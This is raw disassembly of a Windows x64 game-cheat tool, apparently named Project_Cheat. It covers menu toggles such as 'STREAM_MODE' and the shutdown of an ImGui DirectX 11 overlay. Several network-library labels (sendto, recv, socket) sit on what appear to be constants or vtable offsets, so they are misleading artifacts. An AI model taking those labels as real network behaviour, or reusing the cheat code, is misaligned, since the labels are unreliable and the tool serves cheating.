mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Internet_:_Enabled__
lea rcx, [0x140235d78]
call fcn.1400421f0
cmp byte [0x14023707c], 0
je 0x140053b46
xor ecx, ecx
cmp byte [0x140237049], cl
je 0x140053ac1
mov qword [rbp - 0x18], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x18]
mov r8d, r14d
lea r9, [0x140125070]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140125080]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140053a9a
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x18]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov edx, 0x20001
lea rcx, str.C:WindowsSysWOW64cli.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.STREAM_MODE_:_Enable__
jmp 0x140053b3a
mov qword [rbp - 0x10], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x10]
mov r8d, r14d
lea r9, [0x140125070]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140125080]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140053b15
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x10]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov edx, 0x20001
lea rcx, str.C:WindowsSysWOW64cli.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.STREAM_MODE_:_Disable__
lea rcx, [0x140235d78]
call fcn.1400421f0
mov ecx, r14d
call fcn.140005210
call fcn.14004e8f0
mov rcx, qword [rbp + 0x598]
test rcx, rcx
je 0x140053ba5
mov rdx, qword [rbp + 0x5a8]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140053b8e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054021
call fcn.14011fe08
xorps xmm0, xmm0
mov qword [rbp + 0x598], r12
movdqu xmmword [rbp + 0x5a0], xmm0
mov rcx, qword [rbp + 0x580]
test rcx, rcx
je 0x140053bfb
mov rdx, qword [rbp + 0x590]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x140053be4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054021
call fcn.14011fe08
xorps xmm0, xmm0
mov qword [rbp + 0x590], r12
movdqu xmmword [rbp + 0x580], xmm0
call fcn.140011ec0
call fcn.14000b620
mov rcx, qword [0x14026ce30]
lea r8, [0x14026ce10]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x6a0], xmm0
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14026ce30]
lea r8, [rbp + 0x6a0]
mov rdx, qword [0x14026ce10]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140237050]
cmp dword [rbx + 0x48c8], 0
jg 0x140053c74
mov r8d, 0x70e
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140042de0
mov rcx, qword [0x14026ce18]
xor r8d, r8d
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x40]
movss xmm8, dword [0x140160f38]
mov ebx, dword [rbp - 0x28]
jmp 0x140050d50
mov rbx, qword [0x140237050]
test rbx, rbx
je 0x140053cd2
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140053cf6
jmp 0x140053cd5
mov rdi, r12
mov r8d, 0x241
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheat_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140237050]
test rbx, rbx
jne 0x140053d1c
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140237050]
call fcn.140043d70
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140053d30
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140053d3e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140053d4d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x140237050]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
test rax, rax
je 0x140053d71
dec dword [rax + 0xf4]
mov rdx, qword [0x140237040]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [0x140237050]
test rax, rax
je 0x140053d9a
mov rdi, qword [rax + 0x98]
test rdi, rdi
jne 0x140053dbe
jmp 0x140053d9d
mov rdi, r12
mov r8d, 0xb7
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheat_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140237050]
test rax, rax
jne 0x140053de4
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140237050]
mov rcx, qword [rdi + 0x30]
lea rbx, [rax + 8]
test rcx, rcx
je 0x140053dfe
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140237050]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x80], r12
mov qword [rbx + 0x90], r12
test rax, rax
je 0x140053e1b
dec dword [rax + 0xf4]
mov rdx, qword [0x140237040]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x140237050]
call fcn.1400068a0
mov qword [0x140237050], r12
test rbx, rbx
je 0x140053e6b
mov rcx, rbx
call fcn.140020e10
mov rax, qword [0x140237050]
test rax, rax
je 0x140053e5c
dec dword [rax + 0xf4]
mov rdx, qword [0x140237040]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140054060
mov rcx, qword [0x140237098]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x368]
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm7, xmmword [rsp + 0xe00]
xor eax, eax
mov r13, qword [rsp + 0xe30]
movaps xmm12, xmmword [rsp + 0xdb0]
movaps xmm11, xmmword [rsp + 0xdc0]
movaps xmm10, xmmword [rsp + 0xdd0]
movaps xmm9, xmmword [rsp + 0xde0]
movaps xmm8, xmmword [rsp + 0xdf0]
movaps xmm13, xmmword [rsp + 0xda0]
movaps xmm6, xmmword [rsp + 0xe10]
mov r15, qword [rsp + 0xe20]
movaps xmm14, xmmword [rsp + 0xd90]
movaps xmm15, xmmword [rsp + 0xd80]
mov r14, qword [rsp + 0xe28]
mov rsi, qword [rsp + 0xe58]
mov rbx, qword [rsp + 0xe50]
mov rdi, qword [rsp + 0xe60]
add rsp, 0xe38
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x198], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1a8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1b8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1c8], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x148], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 6
mov dword [rbp + 0x168], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.140032c50
int3
call fcn.14000bfa0
int3
call fcn.14000bfa0
int3